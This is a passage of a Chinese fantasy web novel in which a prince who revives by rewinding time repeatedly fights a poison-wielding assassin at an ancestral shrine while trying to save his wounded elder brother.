“唉……”董莉莉叹息一声,从车门口过来,步伐轻快。她停在杜光欧身前,伸手去解他身上缠绕的缰绳。她时不时抬眼看他,目光中有闪动的光亮,那是久别重逢的欣快,“队长,一年不见了。” 杜光欧无法回答她,只能注视她。他吱唔一声,又晃了晃脑袋,示意董莉莉先把他嘴上的绳子解开。 董莉莉领会了他的意思,但她伸出去的手却停在一半。女人歪头盯着他,声音有些犹豫,“我知道队长有很多问题想问,但是,你得答应我,解开之后别动,也别大声说话,暂时先听我的。” 听董莉莉的意思,针对现状,她应该知道些什么。 自己要按她说的做吗? 杜光欧看着眼前的人,熟悉的面庞让往日的记忆苏醒。他们的确很久没见了,以往的远征之中,从不会缺少她的身影。他们曾一起经历过无数风浪,在无数星月下同眠。 大寒潮降临后,大陆剧变,古旧的地图已经不能描绘当下地貌,制图员乃近些年的新兴职业,在任何远征途中,都有着非常重要的地位。 董莉莉最初什么经验也没有,只是学习了一些野外生存的知识,便加入了远征队。起初,她的身份只是一个好奇的观光客,但是,这个观光客去了第二次、第三次,也渐渐从一个需要人照料的新人,变成了可以照料他人的老手。 而且不止如此,她在这个过程中,逐渐展现出惊人的天赋。她视力好,记性也好,善于观察天气和动物习性,加之受到小时美学教育的影响,作画能力更是一流。很快,她便担起了制图员的职责。绘制地形、通过天气预测风暴、定位可用的自然资源,这些都是她的强项。毫不夸张地说,队伍的生还有她相当大一部分功劳。 杜光欧自从拥有了那种可以玩弄时间、起死回生的能力之后,便在远征途上如鱼得水。他不惧死亡,再艰险的地形,只要有他开路,探清所有的暗潮,规避那些夺人命的凶险,那么它们就不构成威胁。队员们都称他的探索方式是自杀式 7. 黄王圣祠1 《无限复活但大家都在保我》全本免费阅读 董莉莉面色凝重,活沷的卷发都显得深沉了,声音也压得很低,“我不知道背后发生了什么,只能告诉你我看到的表象。最近城里发生了很多起针对贵族的袭击事件,手法干脆利落,凶杀痕迹都很诡异,推测是使用了一种不曾面世的武器。凶手目前还没有找到,整个事件都是机密,一般民众并不知情,不过,凶手似乎也对平民没什么兴趣就是了。” 听她的描述,杜光欧突然联想到了城防军中埋伏他的刺客。当时他推论这不是个人恩怨,而是针对他王室身份的行凶。 血皑城内的贵族遇袭,以及他在城门口的遭遇……这两件事之间,会不会有什么联系? “城里风平浪静,几乎觉察不出什么,但那只是为了不造成恐慌而封锁了消息。实际上,已经有很多家族遇难了。”董莉莉说道。 听到这里,杜光欧问询道:“莉莉,你们家没事吧?” 董莉莉摇摇头,“老城主派人来家里把守,现在很安全。” 父亲居然会派人去董家看守,这倒是有些让人意外。董家与王室关系不好,这是人尽皆知的事。虽然杜光欧和董莉莉交好,但他们的父辈却不尽然。 大约二十五年前,杜、燕两大家族攻占血皑,自立为王。血皑城易主,杜义称王,他开始逐步肃清内部,罢黜剥削民众的王室贵族。当今贵族,几乎都是杜义当年征战南北的同僚,他们遭难,便如断杜义双臂。 董家的情况则不太一样,他们是在杜义称王后,为数不多的旧时代贵族。董清驳作为一家之主,不满杜义领导,时常公然与他作对。董家这个倔老头十分固执,但也公平正直,听闻他在旧时代时,也和旧主关系恶劣,几次因为违抗王命,而导致家族受罚。 城主不与董清驳计较,依然保留其贵族待遇,只是不如其他贵族那般交好,明面上更是没什么往来。 当下,父亲居然不计前嫌,派人援护那个一向不合的董家,看来,城内的事态非常严峻,不管是旧时代贵族还是新兴贵族,所有人都被牵连其中。 “凶手不是一个人,而是一整个势力。这个结论是光遗哥告诉我的。”董莉莉道。 听闻这个名字,杜光欧的眉头拧得更深了。 杜光遗……他也知道这件事,当然了,他是血皑王储,这么大的事,不可能不知道。那他最初在城门口截堵自己,莫非是为了…… “杜光——兄长他还说了什么?”杜光欧问。 “其他的,你当面问他比较好。”董莉莉道。 “当面?” “他在圣祠里,正在等你过去。” 杜光欧不解,这才想起来问他们当下之所在,“我们这是在哪?队伍停在哪里了?” “我们在黄守之森。” 杜光欧往车外望去,原来他们正位处森林之中,难怪之前觉得天黑,是光线透不进来。 当下,想要弄清楚真相,只能去见杜光遗。这么想着,杜光欧穿戴好精锐兵的毛底鳞甲,系好绒边头盔,不细看,根本认不出来他是谁。 他打算下车,挪到一半,却仍有一事横在心间,叫他不得不停在门前,回头,开口道:“莉莉。” “嗯?怎么了?” “夏潜他……” 董莉莉表情一滞,平静的脸上浮现出一丝悲伤的神色。 杜光欧问道:“他还在城门口,你有办法接他吗?” “我看到他了。”董莉莉道。 “你看到他了?” “我们已经把他带上了。” 听到这句话,杜光欧长舒了一口气,“那就好。” “队长……”董莉莉似乎想说些什么。 “莉莉,别叫我队长了。” 队长一词的含义,它背后延伸出来的浮想,那一个个埋葬在雪山山顶的面庞,都叫人分神,使人不堪重负。 董莉莉目光哀伤,问询道:“队员们都……?” 杜光欧错开了视线,欲跳出车外,“这次远征发生的事,之后我会和你详说。” 董莉莉不再提问,只是道:“……好。” 杜光欧出车,环顾四周。附近没有人注意他,迁徙的队伍在休息,人们不是在进食,便是在小憩。 偶尔传来低声埋怨和咒骂,这队伍里充斥着目光凶恶的男人,也有几个贫弱的老女人,整只队伍低沉、压抑。想来也是,谁愿意离开住了一辈子的繁华城市,去一处荒凉之地开垦?更何况,根据杜光欧的观察,这次的配备比以往任何一次都要拮据,没几头运货的鹿,可见也没多少物资。 怎么看,这些人都是被遗弃了。 他们位处血皑城南部的森林之中,它名为黄守之森,简称黄森。与其名不同,这原是一片浓郁的绿色稠林,长满了阔叶树,这种树在寒带气候中并不常见。 听闻,这些树诞生于大寒潮之前,历经两百年寒风,早已是片死林。但即使在木材短缺的现今,人们也依然不肯砍伐它们。 其原因之一,便是杜光欧要去的圣祠。 人们总是敬爱他们的祖先,超过爱他们自身。这座稠林当中祭奠着一位古老的王,他开辟道路,建立城市,当今的血皑与琉城,据说都是由这位伟人一手创建。 杜义原本也有意向砍伐这片森林,它已经死去了,除了被焚烧以外,没有任何价值。然而,这个提议却遭到了他夫人黎礼的反对,她认为这片阔叶林是一个象征,它代表了人们的希望,只要它还存在,总有一天,他们就能够战胜这多年不散的寒风,让大寒潮降临前的那段传说中的、温暧的时日再度回到这片大地。 血皑城主宠爱自己的夫人,所以,砍伐黄森的事也就不了了之。 黎礼是杜光欧的母亲,所以,就这件事,他也没提过什么意见。血皑城的经济实力雄厚,从东方进口木材也绰绰有余。只是,到了关键时刻,他认为还是要以活着的人为重。 杜光欧来到了圣祠门前,台阶上积了雪,盖住了登台人留下的痕迹,他们之中有祭祀者、露宿者,圣祠包容着它的子民们。 雪上有一串新的脚印,不用想,那一定是杜光遗留下的 8. 黄王圣词2 《无限复活但大家都在保我》全本免费阅读 杜光欧烦燥地用舌头剐蹭着上牙膛,把脚下的一颗碍事的石头踢开,“你能一句话把所有事说完吗?” 听到杜光欧的质问,杜光遗将目光从雕像上抽回来,模样难得有些讶异,“你生气了?” 他能不气吗! 杜光欧只觉得胸口忍到现在的那口气终于憋不住了,他愤怒的声音回荡在整个圣祠内。 “让你被捆得像要被宰了的牲畜试试!满身疲惫回来,连城门都没碰着,你却一言不和就抓我,还当着那么多人的面!” “城门口那是——” “你没看到我一个人回来了吗?但凡认识我的人都知道这是什么情况,我在熟人面前连头都抬不起来。你倒好,直接把我头按到地底下去了!将来我有什么脸面见人,怎么回血皑?啊?” “光欧——” “有什么事不能好好说吗?嘴长出来除了吃饭它还是用来说话的,有多金贵啊问一句答一句,不知道还以为里面掉出来的黄金呢,怎么那么费劲啊!” “……” 杜光欧喘着大气,双目圆睁,瞪着眼前的人。 对面的人安静了一阵子,圣祠里一时只有杜光欧仍混着怒意的呼吸声。 他下意识想缕捋一把头发,伸手,却碰到了刚才从精锐身上扒下来的头盔。一声咒骂,把头盔甩掉,将眼前碍事的长发捋到脑后,又顺了好几下,后面这些动作虽然没什么意义,但却让情绪平复了几许。 过了一阵,一直平静地看着他、听他说完那番话的杜光遗开口了,“冷静下来了?” 杜光欧没理他,把头盔戴正了,这才说道:“我问你什么你就回答什么。” “好吧。” 那段话说完,杜光欧明显感觉没那么怄气了,理智回归他的脑海,所有的细节和见闻串连在一起,他有了自己的推论,“让我穿成这样来,是为了掩人耳目,不让任何人知道你我的接触。” “是。” “毫不知情的平民,甚至你亲手培养的精锐,这些人都无法信任,都要作戏欺骗……我可以理解现在事态非常严重吧。” “没错。”杜光遗如此说,神色一改始终如常的肃穆,竟流露出一丝欣慰,“敌人已经渗透进内部,我不能保证任何人的身份是清白的。” “所以你才去城门口截我,因为我刚回来,什么都不知道。虽然刺客一直盯着贵族下手,但没人说王室是安全的。如果我贸然进城,可能会被人偷袭。” “的确是这样。” 这样就说得通了。杜光欧心想。城门口对他行凶的那个刺客,不是偶然出现在那里,根本就是在埋伏他。 不过,敌人竟然连城防都已经渗透进去,也不怪杜光遗要把他拦在城外。虽然还是来迟了一步,如果自己不是有回溯力傍身,已经命陨血皑南城了。 “那现在可以和我说说,城门口那场戏又是为了什么?你当时就可以和我解释清楚,根本不用绑我,把话说明白了,我就会跟你走。就算是担心周围有耳而不敢说真话,随找一个借口就行,这难不倒你。” “看得出来,你对城门口发生的事很介意。” “还要我强调多少遍……你们连口辔都用上了,那东西是给牲畜用的。” “那么做是不得已。” “怎么不得已?” “有人告诉我,想要抓你,得迅雷不及掩耳之势把你捆住,让你动弹不得,嘴巴也要堵上,否则就再也逮不住你。” “……”杜光欧沉默。原来,那不是错觉,他被抓的时候,回溯力的确被刻意地针对了。而且,他好像知道杜光遗说的是谁,自己只把能力告诉过一个人,而那个人是个无所不用其极的、一点人性都没有的人中败类。 杜光遗道:“但更重要的是,我们必须营造彼此不和的假象。” 听闻,杜光欧眉头一皱,“假象?” 这还需要营造假象?真假即是假象,假象即是真相,长大之后,他们的关系就没好过。 ‘杜家兄弟的关系恶劣,为夺王权暗中算计,相看两厌,故一个主持城中事务,一个常年在外远征。’——这是坊间流传的说法。 当事人表示,外在现象确实是这样,但出发点错了。他兄弟二人一个主外一个主内的主要原因,是杜光欧自己在城里待不住,和他们二人关系如何、是否相互争权,都没有任何关系。 “怎么?” “没什么。”杜光欧挠挠脸,道,“营造我们不和的假象,然后呢?” “这是父亲的计划,我们需要你以流放者的身份离开血皑,盘据琉城,与血皑王室为敌。敌人的敌人虽然不一定是朋友,但起码血皑里那些蠢蠢欲动的敌人会对你放下戒心。” 杜光欧不禁感叹,“要闹这么大?” “你到琉城后,会有人接应你,接下来,你便留在那里,另起势力。” “然后呢,难道父亲要放弃血皑,逐渐把势力转移至琉城?” “那倒不是。我们需要你在特定的时间对血皑发起总攻,与我们里应外合,一举击溃敌人。” 原来是出于这样的考量,杜光欧终于心下了然。这样的话,一切似乎都说得通了。城门口那夸张的截堵是为了让所有人以为他们兄弟二人互相仇视,他被杜光遗那样对待,将来要向他、向血皑复仇也在情理之中。而当下,因为敌人可能已经渗透进了内部,他们就连交流都必须如此隐蔽地进行。 “敌人到底是什么人,居然把父亲逼到了这份上,要布这么大的局……”杜光欧问。 杜光遗沉默半晌,转首,又去仰望黄王的圣像。 杜光欧也望过去,那尊雕像仍注视着他们,听去了他们所有谈话,“你刚才说他是敌人。但你指的应该是他的后人吧?” “是。” “黄王……他是血皑上任城主黄昔寒的先辈。可惜,传闻黄王道德高尚,他的后代却没有继承这样的品性。黄昔寒是个暴君,行为不端,苛待子民,不然父亲也不会取缔他。” “……”杜光遗不语,只是盯着那百年的圣像。 “所以,敌人依是黄氏族人?”杜光欧道,“也就是说,当年父亲针对原势力的清剿,还不够彻底。” “和黄昔寒没有关系,只是黄王。”杜光遗突然开口,道。 “什么意思?” “敌人是黄王,而不是黄昔寒。黄昔寒已经在多年前被父亲联合燕家杀死了,但黄王还没有。” “你的意思总不会是黄王还活着吧。” “他的身 9. 黄王圣祠3 《无限复活但大家都在保我》全本免费阅读 他们刚才谈话的时候,没听见有人进来。可是这三排脚印却都朝向圣祠内部,明显是进去了三个人,而且,其中有一个一定是在杜光欧进门之后进去的。 圣祠并不大,如果有什么人进门,他们理应察觉。除非,这个人并不想让他们发觉。 什么人会这么蹑手蹑脚? 想到这里,杜光欧心脏一紧。他当即回身,冲进祠堂内部,目光搜寻过去,发现杜光遗仍站在原地,没出什么事。 他的兄长听见响动,回过身来,声音疑惑,“怎么了?” 杜光欧关门,他不能把人放出去,那人可能听到了他们的交谈,如果对方是那个复权派的人,把他放出去,父亲的计划就会败露。 “出来吧,我看见你的脚印了。”杜光欧说道,他环视四周,视线扫过上方的横梁,那里太暗了,不好判断是否有人藏匿其中,“你没有退路,进来的时候就应该想到这点。” 黄王圣祠修建得非常牢固,只有一扇透风的门,这似乎是为了庇护那些露宿的流浪者,让他们在冰天雪地下有一处安身之所。 杜光遗神色凝凛,好像已经明白了状况,他默然,不再询问,只审慎地观察着圣祠内部。 “不出来的话,我就一把火烧了这里。”杜光欧威胁道,“这祠堂是用木头搭起来的,火势一瞬间就会蔓延开,你没地方可逃。” 等待半晌,没有回音。圣祠里太安静了,静得雪落的声音都能听见,这导致杜光欧有些怀疑自己的判断。 但他笃信自己不会错,脚印多出了一排,圣祠里肯定有人。 就在这时,房梁上发出吱呀声,声音就在他的头顶。杜光欧抬头,只见一黑影疾落而下,还没有看清那是什么,他视线一抖,身体被人猛然撞开,狼狈在地上翻滚几圈。 他定住身形,抬头。视野中,杜光遗蹲在地上,一把利刃插在他的左肩,贯穿了整个肩膀,白衣染红了一片。 在杜光遗前方不远,一个女人从地上爬起,她麻衣残破,之前大抵是藏身于流放队伍之中。她扔开手中无刃的短鞘,又从胸前抽出一把匕首,目光阴沉地盯着他们。 “哥!”杜光欧上前,查看杜光遗的伤势。 “呿。”杜光遗握住刀柄,手臂颤抖,青筋爆起,眼看要将那白刃连根抽出。 “不要拔!”杜光欧制止他。这么抽出去,血只会流得更快。他按住杜光遗,想让他镇静下来。 但杜光遗只按自己的想法行事,二弟阻止他拔刀,他就转手抽出自己的佩剑,去斩那短刃。但那短刃做工精良,他尝试几次无果,却痛得满头大汗。 “别动了!” 杜光遗盯着对面的女刺客,咬牙道:“她听见了我们的谈话,杀了她。” “我知道了,所以你别动了!”杜光欧按着杜光遗完好的一侧身体,让他不要再冲动行事。 这时候,另一边的女人开口了,她声音低哑,像有积攒了几十年的仇怨,“后来居上的肮脏血脉,踏入王的圣地不说,还在谋划那般不容饶恕之事。” 她手中的匕首在手中一转,摆出了攻击的架式。 杜光欧盯着那女刺客,心里却在想着杜光遗的伤势。他的伤并不致命,但急需救治,否则左臂有报废的可能。 看来,要速战速决。 攻击时,自己有绝对的优势,不用思考如何闪躲,只需考虑如何进攻。反正回溯力会抹消他的失败,胜利的天秤早晚向他倾斜。 没有一点进攻前的征兆,甚至连武器都没拔出,杜光欧便一个健步冲了上去。几乎贴在了敌人脸上,他才抽出配刀,一计竖劈,势要将女人从头颅劈成两半。 这种舍弃所的防御的攻击让对手毫无准备,在倾尽全力的进攻面前,女刺客放弃了自己的阵地,侧身躲开竖劈,手中匕首向上紧攥,向上轻盈一划,将杜光欧的鬓发削短一半。 她后撤,意图拉开距离,杜光欧却穷追不舍,长刀轮转,回回直逼要害,进攻凶猛又完全不在乎自身防御,像是疯了一样。 女刺客连连后退,突然,她撞在墙上,回头,后面已经没有退路了。 杜光欧没有放过这个机会,他以几乎会拉伤肌肉的爆发力冲上去,刀一横,去势凶猛,如断头台上急坠的刀刃。 女刺客回神,再也躲闪不及,被他一刀切断颈项。 头颅滚落在地,不瞑的双眼翻转朝上,盯着杜光欧,仿佛死后她不依不饶,要将仇人的灵魂也拖去黄泉。 杜光欧瞥了女刺客一眼,心头畅快。他对杀人没什么心理负担,这不是他第一次杀人,他曾经在王城处决过罪犯,也在远征路上砍死过心怀歹意的恶徒。夺人性命的事,他做过很多。 解决了刺客,接下来就是杜光遗的伤势了,必须尽快叫人来救治。 杜光欧刚走两步,脚下却突然一个趔趄,他站定了,低头向自己身体看去,这才发现腿上有一条豁口,皮肉泛白,向外掀了出来。这应该是打斗中被刺客划开的,刚才光想着怎么快速解决对方,对自己身上的伤口竟一点知觉也没有。 他将自己的伤放置一旁,来到杜光遗身边,将他架起来,让他靠在黄王的圣像脚下。杜光遗紧皱着眉头,一声不吭,他的情况似乎不太好,肩膀的伤口浸出大片血迹,血痕蔓延到了胸口。他垂着头,连呼吸都是有气无力的。 “我去叫人。”杜光欧道,托着自己残破的身体就要往圣祠外走。 “光欧。”突然,兄长叫住了他。杜光遗的声音微弱,几乎不可闻,“这里……太冷。为人们拔些木柴的款项……” “……”杜光欧看了杜光遗的脸庞一眼,对方似乎已经有些神智不清了,他的兄长想必还以为他们正身处某个亟待援助的难民区,“别动,我很快回来。” 杜光欧迈出圣祠,走下台阶。远处有一伙扎堆的士兵,他快步而去。 离近了,他开口,正要呼唤他们,却感觉嗓子眼被什么东西堵处了。他喉咙里像装满了醒甜糖浆,发不出声来。 杜光欧扣着自己的喉咙,满目疑惑。 怎么回事?他怎么说不了话了。 啪嗒,一颗鲜红的水珠砸在雪地上。杜光欧盯着那染红的白雪,茫然地眨了眨眼。 ——那是,我的血? 就在这时,他感觉体内一阵绞痛,身体扭曲,视线一晃,他就那么 10. 黄王圣祠4 《无限复活但大家都在保我》全本免费阅读 …… …… …… 失血的眩晕离开了他,视线聚焦,杜光欧发现自己位处圣祠之中。 他倒在地上,胸口传来撞击的闷热,那是杜光遗把他撞开时留下的,大概形成了淤肿。 一把匕首插在杜光遗的肩膀,他半蹲在地,有腥红的血从白色的衣裳下溢出。 杜光欧看着眼前的这一切,一种不太详之感从心底升起。 怎么偏偏回到了这个时候。 看这个样子,回溯力将他带回了刺客刚刚从房梁上跳下来的时间点,也是杜光遗刚好遇袭的时候。 他没办法控制回溯的时间点,这也是这份能力中,他没能掌握、也没能研究清楚的一面。他控制不了,只能接受回溯所带来的结果。它要回到什么节点,从来不由他说了算。 对面的女刺客站在离他们不远的位置,背朝黄王的圣像。她目光阴险,抛开空无一物的刀鞘,又从怀里掏出又一把匕首。 相同的事情在上演着,然而,杜光欧已经不再是那个毫无准备的人。他盯着女刺客手中的那只匕首,毫无疑问,它的刀面上一定掺着毒。而刚才就是这把凶器,划开他的大腿,让毒素进入,使他中毒身亡。 要小心那把武器。 但现在更重要的是杜光遗的伤势,他上前,再度制止杜光遗的动作,不让他拔那柄插进肩膀的短刀。这刀上一定也淬了毒,这毒见效太快,剧烈行事只会加剧毒性。 必须先让杜光遗得到救治。 杜光欧看向那个女刺客,对方只是盯着他们,像是在看两个已死之人,那样的注视让他十分不适。 要先杀了她,再把杜光遗带出去吗?可是,那样的话时间来得及吗?兄长不像他一样有起死回生的能力,如果晚了一步,导致错过了最佳的救治时机,那么,杜光遗没有第二次机会。 这个阴森的刺客……如果不是自己刚才威胁她出来,她似乎并不打算现身。现在想来,这家伙的目的,应该只是窃听他们的对话。 如果现在,自己不与她针锋相对,她会继续出手吗? 不管如何,为了快点确认杜光遗的情况,他得试一试。 想到这里,杜光欧架起杜光遗,面朝刺客,一步步谨慎往圣祠门口退去。 “呃……做什么?”杜光遗问。 杜光欧回道:“兄长,忍耐一下,我带你去找医师。” “她……不能放过她。她听见了我们的谈话。” “我知道。我会想办法。” “不行,她要是传出去,这次行动就失去了意义。”杜光遗道。他似是不想再后退,脚往地面一踩,要定在原地,“你不能走,你必须把她拦在这里。” “你中毒了,先救你。” 长兄的力气比以往每刻都弱,杜光欧不理会对方的抗拒,执意将他往圣祠外拖拽。 “别管我……!”突然,杜光遗猛然发力,挣脱了桎梏,摔在圣祠的门槛上。 杜光欧不言语,伸手要去拽他,被杜光遗一掌打开。 “都这个时候了,还要我教你分清楚主次,你别让我这么失望。” “是吗。”杜光欧又去抓杜光遗的手腕,随便地应和着。 血皑王储一向风淡云轻的脸难得震怒,他声音沉重,目光严厉,“父亲的计划会败在你手上。” “别说那些了,赶紧——” 就在这时,杜光欧听到一阵急促的脚步声从自己的身后逼近。他面前的杜光遗神色一僵,什么也没说,伸手一捞,将杜光欧推去一旁。这掌所用的力气之大,几乎和他刚才判若两人。 他们一同倒在地上,杜光欧迅速回首,只见一把匕首插在他们刚才所在的门柱旁,女刺客正把它拔出来。如果不是杜光遗反应及时,他们都要被刺穿在那木桩上。 杜光遗挣扎着想从地面起身,可他试了几下也没能成功,他捂着自己的胸口,哇的一声,吐了大一口血出来。 杜光欧见了,赶忙要将他搀起,可是手刚伸过去,只觉得大臂上传来一阵撕心裂肺的疼。他往自己的胳膊一看,竟发觉那里被划开了一个深可见骨的口子,伤口刚好在鳞甲的缝隙下。 这不是偶然,对方一定是挑中了弱点下手。那个女刺客虽然一度被他斩落头颅,但并不是个吃素的,她的目的或许向来只有一个,那就是用毒刃划开他们的身体。 杜光欧的视线投向女刺客,她在刺中他后,便站在一旁,不再行动,模样游刃有余,像是已经确信对方的死亡。 果然,她不打算硬碰硬,让他们中毒就是她的目的。 “我……厌烦冬天。”突如其来地,倒在地上的杜光遗说道,“……它太漫长了。” 这一打断,杜光欧被分散了注意。他视线落下去,发现杜光遗已经吐了一身的血,他的兄长躺在肮脏的石地上,眼睛微微睁开一道缝,神情恍惚。 “有没有什么办法,结束这永恒的冬日……” 杜光遗出现了幻觉,又开始说胡话了。他的情况很糟糕,刚才紧急闪躲,想必毒素已经在他身体里蔓延开来,十分凶猛。 看他这幅不清醒的模样,恐怕和倒在台阶下那时的自己差不多。血从体内流失不绝,要不了多久,人就会失去意识,然后死去。 看来,兄长获救的机会不大了。 杜光欧闭了闭眼,暂且将这第二次行动归类为失败。 ——冷静下来,仔细想想,杜光欧,在这次生命还没有终结之前,一定还有什么你能做的。 刺客……匕首……毒。 再度睁眼,他的目光落在女刺客的身上。 怎么想,破局的关键都应该从她开始。 下一刻,杜光欧蓄势而发,骤然而起,从地面扑向刺客,长刀划裂地砖,朝人挥砍而去。 刺客临危不乱,抬起匕首,借势要刺。只是,杜光欧并未闪躲,直直冲上去,那涂满了毒素的匕首一下子插进胸口,借冲击直贯到底。 “你……!”女刺客一惊,想要弃刀而逃。 杜光欧一把抓住了她,一记脚踢将她绊倒。他扔了自己的刀,它没用了,打一开始它就是个晃子。 “呃——”他忍着剧痛,将匕首从胸口抽出来,首尾一转,刀刃上的血水洒在两人的面门上。< 11. 黄王圣祠5 《无限复活但大家都在保我》全本免费阅读 …… …… …… 再次睁眼时,依然是熟悉的画面。女刺客站在远处,正从怀中掏出带有剧毒的匕首,目光幽怨地盯着他们。 而杜光遗半跪在地,短刀贯穿他的肩膀,刀刃上有丝丝血迹。 他又回来了,这是第三次。 这次,他该怎么做? 杜光欧的大脑飞速地旋转着。 现在,已知杜光遗中了毒,毒素蔓延很快,必须在没有任何剧烈行为之前,就让他见到医师。 而如果他现在去攻击对面那个女刺客,会拖延时间不说,自己也有可能受伤,那样的话他也动不了。但是这样不行,杀了刺客之后还需要他奔走寻医。大部队离这里有段距离,就算他喊叫,恐怕也没人听见。 可如果他们就此撤退,刺客会展开追击。无论他们是否能够脱险,还是会耽搁一段时间。 没错,时间。现在最保贵的就是时间。 此刻,只要想怎么让杜光遗见到医师就够了。 他脑海里出现了一个想法。现在,只能试试看了。 圣祠门口的那次背后突袭,刺客是冲着自己来的,已经中毒的杜光遗不是她的目标。那么,他就赌那女刺客的自信,赌她对自己毒素的信心,赌她不会在此基础上对杜光遗做出进一步的伤害。 做了决定,杜光欧立刻行动起来。 他转身就跑,径直冲出了圣祠,将杜光遗和女刺客留在了里面。如果能把刺客一并吸引出来,这自然最好,但她应该不会轻易暴露在众目睽睽之下。 他冲向一伙正在休憩的精锐兵,喊道:“医师在哪,大殿下受伤了!” 那些精锐兵听了,立刻站起,“大殿下在哪?” “圣祠!”杜光欧道。此刻他披着精锐兵的盔甲,没人怀疑他的身份。 精锐们迅速散去,不过片刻,队伍里唯一的队医被带了上来。他是个临时借调过来的医师,跟随大迁徙队伍行进,保证队伍的存活率,但他不会留在流放者的目的地琉城,而是会随队伍一同返回血皑。 队医是个中年男人,头发有些稀疏,他迎上前来,目有焦急之色,“大殿下在哪?” 一众人涌进圣祠,昏暗的祠堂之中,如今只剩下一个人的背影。那是杜光遗,而刺客已经不见了踪影。 “快!”杜光欧催促道。 杜光遗的身上似乎没有新伤,只是,那原本插在肩膀的短刀却掉在地上,血沿着手臂流下,淌了一地。 听到声响,杜光遗张开眼睛,目光与杜光欧相交。 一时间,兄长的眼中看出了责备的意味。它转瞬及逝,杜光遗避开了视线,不再看他。 “大、大殿下!这究竟是谁……” “刺客没有与我交战,逃了。”杜光遗说道。 他没有看任何人,但杜光欧知道,那句话是说给他听的。 医师剥开杜光遗的衣裳,查看出血的情况,用指尖沾了血,放在鼻下嗅闻。 杜光欧看着兄长遍身的鲜血,不由得皱眉,问道:“刀是你自己拔出来的?” 杜光遗不应,却也是默认。 “你总想着拔它干什么?”杜光欧又问,完全忘记自己现在的语气实在不符合一个精锐兵的身份。 杜光遗微微扬起头颅,道:“不拔刀,怎么拿我的剑杀敌。” 昏暗的圣祠里,昂首的杜光遗却似乎发散出某种淡光。 他通身雪白,鲜血却刺目,他屈身在地,腰背却比挺,他的眼睑微微下坠,却似那圣像一样悲悯。仿佛在这里发生的一切,都无法湮灭他的肃杀的气焰。 医师在杜光遗身边忙了一阵,又是闻那血迹,又是探他的心跳和脉膊。好一阵过去,他将杜光遗的手掌放回原处,站起身来。 “怎么样?”杜光欧问。 医师低着头,他的手在颤抖,“大殿下……大殿下需要回到王城救治,我无能为力。你们快带大殿下回去吧。” 杜光欧一听,只觉得怒火上涌,“哪有时间回去?你现在就把他治好!” “我做不到……” 杜光欧一步上前,抓住对方衣襟,与他四目相对,“你必须做到!你是唯一的医者,这里除了你没有别人能救他!” 医师似乎没想到一届精锐会如此生气,甚至对他动武,整个人不禁有些惊乱。他没认出盔甲下的人是谁,只是慌张摇头,急于否定,“现在不是了,不再是了!我现在就辞去职责,自愿加入迁徙之伍!” “你——!” “请别为难我了——” 见医师这副模样,与他们一同赶来的精锐也连连发出惊叹,说着这不可能。 杜光欧把医师从地面提起来,吼道:“混帐东西,他还喘着气,没死!谁让你放弃他了?” “已经不行了……” “你说不行就不行了?” “如、如果那把刀不拔出来还好……现在创口太大,需要止血。但体内有毒,又需要放血。这怎么想都……” 杜光欧凑近了,质问道:“你的意思是,刀不拔出来就有救?” “刀如果没拔出来,还是能想想办法的……”医师答。 杜光欧冷着脸,道:“……你最好说到做到。” 他扔开医师,转手从抽腰侧抽出精锐佩刀。 队医见状,吓得缩成一团,“别、别动手!” 杜光欧没有说话,将刀刃一转,搭在自己肩上。 “等等,你要干什么?”一旁,有精锐音色惊讶,问道。 此刻,杜光遗也转过头来,用一种不解的目光看着他,“光欧……你要做什么?” 杜光欧沉眸,与兄长相望,“救你。” 他简短地回答他,再多的话他解释不了,和现在的杜光遗解释也没有意义。很快,他面前这个奄奄一息的兄长会变成一段只有他知道的记忆,成为时间长河中的一道分流,被他的能力所抽尽、干涸,断绝其未来。 刀刃割下去,疼吗?当然疼得要命,但还是茫然更多一些。生命流逝所带来的恐惧,对失去未来的绝望,这些思绪充斥脑海,让人无暇旁顾。哪怕杜光欧知道自己还会重生,死亡所带来的一切原始反应,他都无法规避。 杜光欧毫不犹豫对自己下了手。 医师被吓傻了,抱头连连后退,最后一屁股跌坐在地,“啊啊,怎么会这样!” “把他扶起来,拿什么止住他的血!”一名精锐兵说。 “不行,刀口太深……” “他疯了啊?!” 人死得没那么快,杜光欧瘫坐在地,静待时间的流逝。 他看见杜光遗挣扎着爬起来,掐住他的手腕,目光如炬,像要燃烧起来。那是无言的怒斥,他在质问他,为什么。 都到这一刻了,还在责怪他。如果说世上有任何人将责任看得比性命还重,他兄长当之无愧。 杜光欧阖目,不去看杜光遗责备的眼神。 疼痛的消失是截断 12. 黄王圣祠6 《无限复活但大家都在保我》全本免费阅读 与杜光遗的困惑不同,见医师这幅模样,杜光欧猜到了什么,顿时脸色煞白。 医师迟迟没有下文,杜光遗无暇在意,复又抓自己的二弟,道:“你听见我说话没有?你……算了,我自己去。” 杜光遗站起来,又要去拔那碍事的刀,可他刚站直,身形就晃得厉害。 白衣之人不得不跪倒,这时候,啪嗒一声,一滴血落在他面前的石地上。杜光遗伸手,抹了一把脸,却蹭了满手的鲜血。他盯着自己手心,像是有些没反应过来,喃喃道:“怎么回事……?” 那匍匐在地的医师说道:“毒素已经入侵百骸,我无能为力……” 杜光欧听闻,脸色紧绷,他开口,声音一如凛冬般寒冷,“不是你说,只要刀不拔出来,就有救吗。” 医师抬头,与杜光欧四目相对,“我有那么说过?” “……”杜光欧不语。 医师像是没有看出他眼中的寒意,起身,凑到杜光欧身边,小声道:“短刀刺穿了大殿下的肩膀,那里离心脏太近,毒素蔓延得非常快。” 杜光欧的表情空洞,一如他的声音一样,“如果我切下他的肩,能制止吗?” “毒已经漫开了……” “我说刚中毒的时候。” “那也不行,创面太大,大殿下恐怕会因失血而死……如果不是肩膀的贯穿伤,说不定还能有救。” “就没有能解毒的药吗?”杜光欧问。 “你也看到这毒发作的剧烈程度了,就算能找到药,大殿下也撑不到那个时候啊……”医师说完,凑到杜光欧耳根,放轻了声音,几乎只剩气息,“你也想想怎么自保吧,没能护卫好殿下,你也……” 杜光欧突然一掌扇过去,像驱赶一只耳旁的苍蝇,“混账东西!” 医师嚎叫了一嗓子,吓得连连后撤。 这个只知推卸责任的老东西,不是拔刀有问题,就是刀口离心脏太近有问题,而从不是他医术的问题! 杜光欧按捺不住动手的情绪,正要拔刀,可余光却瞥见杜光遗的身影。 他动作一滞,看过去,只见兄长拖着沉重的步伐,一步步往圣祠外面挪。他走不动了,就靠在门槛旁,视线投向外界的茫茫白雪。肩上的伤露了出来,除了血迹以外,附近的经脉全是黑色的,像一只蜘蛛网,从肩头将他整个罩住。他每呼吸一次,那些黑色的经脉就延展一分,往上,最末端已经触及下颚。 